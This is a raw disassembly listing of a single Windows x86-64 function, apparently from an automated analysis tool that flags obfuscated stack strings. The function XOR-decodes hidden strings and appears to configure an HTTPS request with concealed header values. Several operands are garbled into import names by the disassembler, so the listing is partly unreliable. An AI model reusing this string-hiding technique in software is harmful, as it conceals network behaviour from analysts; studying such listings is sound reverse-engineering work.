Function at 0x18005ad30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov r11, rsp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x320
mov rax, qword [0x1801d11f0]
xor rax, rsp
mov qword [rsp + 0x318], rax
mov rdi, r8
mov r14, rdx
mov rsi, rcx
mov qword [rsp + 0x1f8], rdx
xor r13d, r13d
mov qword [r11 - 0x98], r13
mov qword [r11 - 0x88], r13
mov qword [r11 - 0x80], r13
mov qword [r11 - 0x88], r13
mov qword [r11 - 0x80], 0xf
mov byte [r11 - 0x98], r13b
call fcn.1800d98f0
mov r12, rax
test rax, rax
je 0x18005ba7e
mov r8, rdi
mov edx, 0x2712
mov rcx, rax
call fcn.1800dc7b0
mov qword [rsp + 0x2e0], r13
mov qword [rsp + 0x2f0], r13
mov qword [rsp + 0x2f8], r13
mov qword [rsp + 0x2f0], r13
mov qword [rsp + 0x2f8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2e0], r13b
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rdi + r8], r13b
jne 0x18005adf2
mov rdx, rdi
lea rcx, [rsp + 0x2e0]
call fcn.18000da90
lea r8, [0x18005a420]
mov edx, 0x4e2b
mov rcx, r12
call fcn.1800dc7b0
lea r8, [rsp + 0x2c0]
mov edx, 0x2711
mov rcx, r12
call fcn.1800dc7b0
mov edx, 0x40
lea r8d, [rdx - 0x3f]
mov rcx, r12
call fcn.1800dc7b0
mov edx, 0x51
lea r8d, [rdx - 0x4f]
mov rcx, r12
call fcn.1800dc7b0
mov r8d, reloc.WLDAP32.dll_Ordinal_30
mov r15d, reloc.WS2_32.dll_listen
mov edx, r15d
mov rcx, r12
call fcn.1800dc7b0
lea rdi, [rsi + 0xa0]
cmp qword [rdi + 0x18], 0x10
jb 0x18005ae7e
mov rdi, qword [rdi]
movdqa xmm0, xmmword [0x1801b4db0]
movdqu xmmword [rsp + 0x268], xmm0
mov byte [rsp + 0x278], Ordinal_50
mov byte [rsp + 0x279], 0x42
movdqu xmmword [rsp + 0x250], xmm0
mov word [rsp + 0x260], 0x4231
mov qword [rsp + 0x1b8], r13
mov qword [rsp + 0x1c8], r13
mov qword [rsp + 0x1d0], r13
mov qword [rsp + 0x1c8], r13
mov qword [rsp + 0x1d0], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x1b8], r13b
mov byte [rsp + 0x20], r13b
mov r9d, reloc.WS2_32.dll_select
xor r8d, r8d
mov edx, r9d
lea rcx, [rsp + 0x1b8]
call fcn.180016700
mov ecx, r13d
mov dword [rsp + 0x178], ecx
nop
cmp ecx, 0x12
jge 0x18005af66
movsxd rdx, ecx
cmp rdx, 0x12
jae 0x18005bb92
movzx r8d, byte [rsp + rdx + 0x250]
xor r8b, 0x42
cmp qword [rsp + 0x1c8], rdx
jbe 0x18005bb97
lea rax, [rsp + 0x1b8]
cmp qword [rsp + 0x1d0], 0x10
cmovae rax, qword [rsp + 0x1b8]
mov byte [rax + rdx], r8b
inc ecx
mov dword [rsp + 0x178], ecx
jmp 0x18005af10
lea rcx, [rsp + 0x1b8]
cmp qword [rsp + 0x1d0], 0x10
cmovae rcx, qword [rsp + 0x1b8]
mov rdx, rdi
call fcn.180059990
mov rdx, rax
xor ecx, ecx
call fcn.1800d9bb0
mov rdi, rax
lea rcx, [rsp + 0x1b8]
call fcn.18000da30
lea r11, [rsi + 0x10]
cmp qword [r11 + 0x18], 0x10
jb 0x18005afb0
mov r11, qword [r11]
mov byte [rsp + 0xa8], Ordinal_50
mov byte [rsp + 0xa9], 0x64
mov byte [rsp + 0xaa], reloc.WLDAP32.dll_Ordinal_60
mov byte [rsp + 0xab], Ordinal_60
mov byte [rsp + 0xac], Ordinal_46
mov byte [rsp + 0xad], Ordinal_60
mov byte [rsp + 0xae], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0xaf], WSAGetLastError
mov byte [rsp + 0xb0], WSAGetLastError
mov byte [rsp + 0xb1], Ordinal_60
mov byte [rsp + 0xb2], Ordinal_79
mov dword [rsp + 0x58], 0x3a3c6431
mov dword [rsp + 0x5c], 0x69733b2c
mov word [rsp + 0x60], 0x3a6c
mov byte [rsp + 0x62], 0x49
mov qword [rsp + 0xf8], r13
mov qword [rsp + 0x108], r13
mov qword [rsp + 0x110], r13
mov qword [rsp + 0x108], r13
mov r10d, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x110], r10
mov byte [rsp + 0xf8], r13b
mov eax, ntohl
mov qword [rsp + 0x108], rax
xor r9d, r9d
mov qword [rsp + 0xf8], r9
mov word [rsp + 0x100], r9w
mov byte [rsp + 0x102], r9b
mov byte [rsp + 0x103], r9b
mov ecx, r13d
mov dword [rsp + 0x17c], ecx
cmp ecx, 0xb
jge 0x18005b0f1
movsxd rdx, ecx
cmp rdx, 0xb
jae 0x18005bb9c
movzx r8d, byte [rsp + rdx + 0x58]
xor r8b, 0x49
cmp rax, rdx
jbe 0x18005bba1
lea rax, [rsp + 0xf8]
cmp r10, 0x10
cmovae rax, r9
mov byte [rax + rdx], r8b
inc ecx
mov dword [rsp + 0x17c], ecx
mov r10, qword [rsp + 0x110]
mov rax, qword [rsp + 0x108]
mov r9, qword [rsp + 0xf8]
jmp 0x18005b095
lea rcx, [rsp + 0xf8]
cmp r10, 0x10
cmovae rcx, r9
mov rdx, r11
call fcn.180059990
mov rdx, rax
mov rcx, rdi
call fcn.1800d9bb0
mov rdi, rax
lea rcx, [rsp + 0xf8]
call fcn.18000da30
lea rcx, [rsp + 0x280]
call fcn.18005ab80
mov r11, rax
cmp qword [rax + 0x18], 0x10
jb 0x18005b13e
mov r11, qword [rax]
mov byte [rsp + 0x98], Ordinal_33
mov byte [rsp + 0x99], Ordinal_33
mov byte [rsp + 0x9a], Ordinal_33
mov byte [rsp + 0x9b], reloc.WS2_32.dll_recvfrom
mov byte [rsp + 0x9c], reloc.WS2_32.dll_socket
mov byte [rsp + 0x9d], Ordinal_79
mov byte [rsp + 0x9e], 0x52
mov byte [rsp + 0x9f], 0x57
mov byte [rsp + 0xa0], 1
mov byte [rsp + 0xa1], WSAStartup
mov dword [rsp + 0x48], 0x111c1d1c
mov dword [rsp + 0x4c], 0x57524817
mov word [rsp + 0x50], 0x7201
mov qword [rsp + 0x198], r13
mov qword [rsp + 0x1a8], r13
mov qword [rsp + 0x1b0], r13
mov qword [rsp + 0x1a8], r13
mov r10d, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x1b0], r10
mov byte [rsp + 0x198], r13b
mov eax, 0xa
mov qword [rsp + 0x1a8], rax
xor r9d, r9d
mov qword [rsp + 0x198], r9
mov word [rsp + 0x1a0], r9w
mov byte [rsp + 0x1a2], r9b
mov ecx, r13d
mov dword [rsp + 0x180], ecx
nop
cmp ecx, 0xa
jge 0x18005b26c
movsxd rdx, ecx
cmp rdx, 0xa
jae 0x18005bba6
movzx r8d, byte [rsp + rdx + 0x48]
xor r8b, 0x72
cmp rax, rdx
jbe 0x18005bbab
lea rax, [rsp + 0x198]
cmp r10, 0x10
cmovae rax, r9
mov byte [rax + rdx], r8b
inc ecx
mov dword [rsp + 0x180], ecx
mov r10, qword [rsp + 0x1b0]
mov rax, qword [rsp + 0x1a8]
mov r9, qword [rsp + 0x198]
jmp 0x18005b210
lea rcx, [rsp + 0x198]
cmp r10, 0x10
cmovae rcx, r9
mov rdx, r11
call fcn.180059990
mov rdx, rax
mov rcx, rdi
call fcn.1800d9bb0
mov rdi, rax
lea rcx, [rsp + 0x198]
call fcn.18000da30
lea rcx, [rsp + 0x280]
call fcn.18000da30
lea rdx, [rsi + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x18005b2ba
mov rdx, qword [rdx]
mov qword [rsp + 0x230], r13
mov qword [rsp + 0x240], r13
mov qword [rsp + 0x248], r13
mov qword [rsp + 0x240], r13
mov qword [rsp + 0x248], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x230], r13b
nop
inc rbx
cmp byte [rdx + rbx], r13b
jne 0x18005b2f0
mov r8, rbx
lea rcx, [rsp + 0x230]
call fcn.18000da90
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x2a0]
call fcn.1800d9700
mov rbx, rax
cmp qword [rax + 0x18], 0x10
jb 0x18005b32b
mov rbx, qword [rax]
movdqa xmm0, xmmword [0x1801b3e60]
movdqu xmmword [rsp + 0x218], xmm0
mov byte [rsp + 0x228], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x229], reloc.WLDAP32.dll_Ordinal_60
mov byte [rsp + 0x22a], WSAGetLastError
mov byte [rsp + 0x22b], Ordinal_27
movdqu xmmword [rsp + 0x200], xmm0
mov dword [rsp + 0x210], 0x196a3c39
mov qword [rsp + 0x1d8], r13
mov qword [rsp + 0x1e8], r13
mov qword [rsp + 0x1f0], r13
mov qword [rsp + 0x1e8], r13
mov qword [rsp + 0x1f0], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x1d8], r13b
mov byte [rsp + 0x20], r13b
mov r9d, reloc.WS2_32.dll_sendto
xor r8d, r8d
mov edx, r9d
lea rcx, [rsp + 0x1d8]
call fcn.180016700
mov ecx, r13d
mov dword [rsp + 0x184], ecx
nop dword [rax]
cmp ecx, 0x14
jge 0x18005b426
movsxd rdx, ecx
cmp rdx, 0x14
jae 0x18005bbb0
movzx r8d, byte [rsp + rdx + 0x200]
xor r8b, 0x19
cmp qword [rsp + 0x1e8], rdx
jbe 0x18005bbb5
lea rax, [rsp + 0x1d8]
cmp qword [rsp + 0x1f0], 0x10
cmovae rax, qword [rsp + 0x1d8]
mov byte [rax + rdx], r8b
inc ecx
mov dword [rsp + 0x184], ecx
jmp 0x18005b3d0
lea rcx, [rsp + 0x1d8]
cmp qword [rsp + 0x1f0], 0x10
cmovae rcx, qword [rsp + 0x1d8]
mov rdx, rbx
call fcn.180059990
mov rdx, rax
mov rcx, rdi
call fcn.1800d9bb0
mov rdi, rax
lea rcx, [rsp + 0x1d8]
call fcn.18000da30
lea rcx, [rsp + 0x2a0]
call fcn.18000da30
lea r10, [rsi + 0xc0]
cmp qword [r10 + 0x18], 0x10
jb 0x18005b481
mov r10, qword [r10]
mov byte [rsp + 0x88], 0x40
mov byte [rsp + 0x89], reloc.WS2_32.dll_send
mov byte [rsp + 0x8a], 9
mov byte [rsp + 0x8b], recv
mov byte [rsp + 0x8c], 0x5a
mov byte [rsp + 0x8d], reloc.WLDAP32.dll_Ordinal_41
mov dword [rsp + 0x34], 0xc091340
mov word [rsp + 0x38], 0x295a
mov qword [rsp + 0x118], r13
mov qword [rsp + 0x128], r13
mov qword [rsp + 0x130], r13
mov qword [rsp + 0x128], r13
mov r9d, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x130], r9
mov byte [rsp + 0x118], r13b
mov ebx, 6
mov eax, ebx
mov qword [rsp + 0x128], rbx
xor ecx, ecx
mov dword [rsp + 0x118], ecx
mov word [rsp + 0x11c], cx
mov byte [rsp + 0x11e], cl
mov dword [rsp + 0x188], ecx
cmp ecx, ebx
jge 0x18005b57b
movsxd rdx, ecx
cmp rdx, rbx
jae 0x18005bbba
movzx r8d, byte [rsp + rdx + 0x34]
xor r8b, 0x29
cmp rax, rdx
jbe 0x18005bbbf
lea rax, [rsp + 0x118]
cmp r9, 0x10
cmovae rax, qword [rsp + 0x118]
mov byte [rax + rdx], r8b
inc ecx
mov dword [rsp + 0x188], ecx
mov r9, qword [rsp + 0x130]
mov rax, qword [rsp + 0x128]
jmp 0x18005b524
lea rcx, [rsp + 0x118]
cmp r9, 0x10
cmovae rcx, qword [rsp + 0x118]
mov rdx, r10
call fcn.180059990
mov rdx, rax
mov rcx, rdi
call fcn.1800d9bb0
mov rdi, rax
lea rcx, [rsp + 0x118]
call fcn.18000da30
mov byte [rsp + 0xc8], 0x65
mov byte [rsp + 0xc9], 0x75
mov byte [rsp + 0xca], reloc.WLDAP32.dll_Ordinal_32
mov byte [rsp + 0xcb], 0x7b
mov byte [rsp + 0xcc], WSAGetLastError
mov byte [rsp + 0xcd], 0x7f
mov byte [rsp + 0xce], 0x7e
mov byte [rsp + 0xcf], 0x64
mov byte [rsp + 0xd0], 0x62
mov byte [rsp + 0xd1], 0x63
mov byte [rsp + 0xd2], gethostname
mov byte [rsp + 0xd3], reloc.WLDAP32.dll_Ordinal_45
mov byte [rsp + 0xd4], Ordinal_46
mov byte [rsp + 0xd5], 0x64
mov byte [rsp + 0xd6], r15b
mov dword [rsp + 0x78], 0x7b207565
mov dword [rsp + 0x7c], 0x647e7f68
mov dword [rsp + 0x80], 0x2d376362
mov word [rsp + 0x84], 0x6428
mov byte [rsp + 0x86], r15b
mov qword [rsp + 0xd8], r13
mov qword [rsp + 0xe8], r13
mov qword [rsp + 0xf0], r13
mov qword [rsp + 0xe8], r13
mov r10d, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0xf0], r10
mov byte [rsp + 0xd8], r13b
mov eax, r10d
mov qword [rsp + 0xe8], rax
xor r9d, r9d
mov qword [rsp + 0xd8], r9
mov dword [rsp + 0xe0], r9d
mov word [rsp + 0xe4], r9w
mov byte [rsp + 0xe6], r9b
mov byte [rsp + 0xe7], r9b
mov ecx, r13d
mov dword [rsp + 0x18c], ecx
nop
cmp ecx, 0xf
jge 0x18005b72b
movsxd rdx, ecx
cmp rdx, 0xf
jae 0x18005bbc4
movzx r8d, byte [rsp + rdx + 0x78]
xor r8b, r15b
cmp rax, rdx
jbe 0x18005bbc9
lea rax, [rsp + 0xd8]
cmp r10, 0x10
cmovae rax, r9
mov byte [rax + rdx], r8b
inc ecx
mov dword [rsp + 0x18c], ecx
mov r10, qword [rsp + 0xf0]
mov rax, qword [rsp + 0xe8]
mov r9, qword [rsp + 0xd8]
jmp 0x18005b6d0
lea rcx, [rsp + 0xd8]
cmp r10, 0x10
cmovae rcx, r9
mov edx, 0x134b23b
call fcn.180059990
mov rdx, rax
mov rcx, rdi
call fcn.1800d9bb0
mov rdi, rax
lea rcx, [rsp + 0xd8]
call fcn.18000da30
mov byte [rsp + 0x90], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x91], WSAGetLastError
mov byte [rsp + 0x92], 0x65
mov byte [rsp + 0x93], 0x7a
mov byte [rsp + 0x94], WSAGetLastError
mov byte [rsp + 0x95], 9
mov dword [rsp + 0x3c], 0x7a65686f
mov word [rsp + 0x40], 0x96c
mov qword [rsp + 0x158], r13
mov qword [rsp + 0x168], r13
mov qword [rsp + 0x170], r13
mov qword [rsp + 0x168], r13
mov r9d, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x170], r9
mov byte [rsp + 0x158], r13b
mov qword [rsp + 0x168], rbx
xor eax, eax
mov dword [rsp + 0x158], eax
mov word [rsp + 0x15c], ax
mov byte [rsp + 0x15e], al
mov ecx, r13d
mov dword [rsp + 0x190], ecx
nop
cmp ecx, 6
jge 0x18005b859
movsxd rdx, ecx
cmp rdx, 6
jae 0x18005bbce
movzx r8d, byte [rsp + rdx + 0x3c]
xor r8b, 9
cmp rbx, rdx
jbe 0x18005bbd3
lea rax, [rsp + 0x158]
cmp r9, 0x10
cmovae rax, qword [rsp + 0x158]
mov byte [rax + rdx], r8b
inc ecx
mov dword [rsp + 0x190], ecx
mov r9, qword [rsp + 0x170]
mov rbx, qword [rsp + 0x168]
jmp 0x18005b800
lea r11, [rsp + 0x158]
cmp r9, 0x10
cmovae r11, qword [rsp + 0x158]
mov byte [rsp + 0xb8], 0x76
mov byte [rsp + 0xb9], reloc.WLDAP32.dll_Ordinal_35
mov byte [rsp + 0xba], 0x7d
mov byte [rsp + 0xbb], 0x7a
mov byte [rsp + 0xbc], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0xbd], WSAGetLastError
mov byte [rsp + 0xbe], 0x62
mov byte [rsp + 0xbf], WSAGetLastError
mov byte [rsp + 0xc0], gethostname
mov byte [rsp + 0xc1], reloc.WLDAP32.dll_Ordinal_46
mov byte [rsp + 0xc2], Ordinal_46
mov byte [rsp + 0xc3], 0x7d
mov byte [rsp + 0xc4], reloc.WS2_32.dll_ntohl
mov dword [rsp + 0x68], 0x7a7d2376
mov dword [rsp + 0x6c], 0x6b626c6f
mov dword [rsp + 0x70], 0x7d2b2e34
mov byte [rsp + 0x74], reloc.WS2_32.dll_ntohl
mov qword [rsp + 0x138], r13
mov qword [rsp + 0x148], r13
mov qword [rsp + 0x150], r13
mov qword [rsp + 0x148], r13
mov r10d, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x150], r10
mov byte [rsp + 0x138], r13b
mov qword [rsp + 0x148], r15
xor r9d, r9d
mov qword [rsp + 0x138], r9
mov dword [rsp + 0x140], r9d
mov byte [rsp + 0x144], r9b
mov byte [rsp + 0x145], r9b
mov ecx, r13d
mov dword [rsp + 0x194], ecx
nop
cmp ecx, 0xd
jge 0x18005b9bc
movsxd rdx, ecx
cmp rdx, 0xd
jae 0x18005bbd8
movzx r8d, byte [rsp + rdx + 0x68]
xor r8b, 0xe
cmp r15, rdx
jbe 0x18005bbdd
lea rax, [rsp + 0x138]
cmp r10, 0x10
cmovae rax, r9
mov byte [rax + rdx], r8b
inc ecx
mov dword [rsp + 0x194], ecx
mov r10, qword [rsp + 0x150]
mov r15, qword [rsp + 0x148]
mov r9, qword [rsp + 0x138]
jmp 0x18005b960
lea rcx, [rsp + 0x138]
cmp r10, 0x10
cmovae rcx, r9
mov rdx, r11
call fcn.180059990
mov rdx, rax
mov rcx, rdi
call fcn.1800d9bb0
mov rbx, rax
lea rcx, [rsp + 0x138]
call fcn.18000da30
lea rcx, [rsp + 0x158]
call fcn.18000da30
mov r8, rbx
mov edx, 0x2727
mov rcx, r12
call fcn.1800dc7b0
mov rcx, r12
call fcn.1800d99b0
mov rcx, r12
call fcn.1800d98d0
mov qword [r14], r13
mov qword [r14 + 0x10], r13
mov qword [r14 + 0x18], r13
movups xmm0, xmmword [rsp + 0x2c0]
movups xmmword [r14], xmm0
movups xmm1, xmmword [rsp + 0x2d0]
movups xmmword [r14 + 0x10], xmm1
mov qword [rsp + 0x2d0], r13
mov qword [rsp + 0x2d8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2c0], r13b
lea rcx, [rsp + 0x2e0]
call fcn.18000da30
lea rcx, [rsp + 0x2c0]
call fcn.18000da30
mov rax, r14
jmp 0x18005bb65
lea rcx, [rsp + 0x2c0]
call fcn.18000da30
nop
mov byte [rsp + 0x30], 0xa
mov r8, r13
mov qword [rsp + 0x2c0], r13
mov r9d, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x2d8], r9
mov eax, 1
mov qword [rsp + 0x2d0], rax
mov rcx, r13
nop word [rax + rax]
cmp rcx, 1
jae 0x18005bbe9
movzx edx, byte [rsp + rcx + 0x30]
xor dl, 0xa
cmp rax, rcx
jbe 0x18005bbe3
lea rax, [rsp + 0x2c0]
cmp r9, 0x10
cmovae rax, r8
mov byte [rax + rcx], dl
inc rcx
cmp rcx, 1
jge 0x18005bb11
mov r9, qword [rsp + 0x2d8]
mov rax, qword [rsp + 0x2d0]
mov r8, qword [rsp + 0x2c0]
jmp 0x18005bac0
lea rdx, [rsp + 0x2c0]
cmp qword [rsp + 0x2d8], 0x10
cmovae rdx, qword [rsp + 0x2c0]
mov qword [r14], r13
mov qword [r14 + 0x10], r13
mov qword [r14 + 0x18], reloc.WS2_32.dll_ntohs
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rdx + rbx], 0
jne 0x18005bb41
mov r8, rbx
mov rcx, r14
call fcn.18000da90
lea rcx, [rsp + 0x2c0]
call fcn.18000da30
mov rax, r14
mov rcx, qword [rsp + 0x318]
xor rcx, rsp
call fcn.180146940
add rsp, 0x320
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
call fcn.1800c22c0
call fcn.1800c26d0
call fcn.1800c22c0
call fcn.1800c26d0
call fcn.1800c22c0
call fcn.1800c26d0
call fcn.1800c22c0
call fcn.1800c26d0
call fcn.1800c22c0
call fcn.1800c26d0
call fcn.1800c22c0
call fcn.1800c26d0
call fcn.1800c22c0
call fcn.1800c26d0
call fcn.1800c22c0
call fcn.1800c26d0
nop
call fcn.1800c26d0
int3
call fcn.1800c22c0
int3